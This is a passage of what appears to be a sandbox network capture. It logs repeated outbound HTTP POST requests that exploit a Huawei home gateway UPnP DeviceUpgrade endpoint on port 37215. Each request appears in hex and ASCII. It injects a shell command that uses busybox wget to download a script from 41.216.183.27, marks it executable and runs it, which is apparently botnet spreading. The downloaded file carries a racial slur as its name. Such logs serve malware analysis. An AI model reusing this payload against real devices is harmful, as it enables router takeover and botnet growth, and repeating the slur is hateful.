+x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.486921072 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:24.076977968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.792666912 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	40186	156.77.135.31	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:01.850785971 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	58408	156.254.83.80	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:02.066489935 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:03.631638050 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:05.487405062 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.231026888 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:16.653928041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
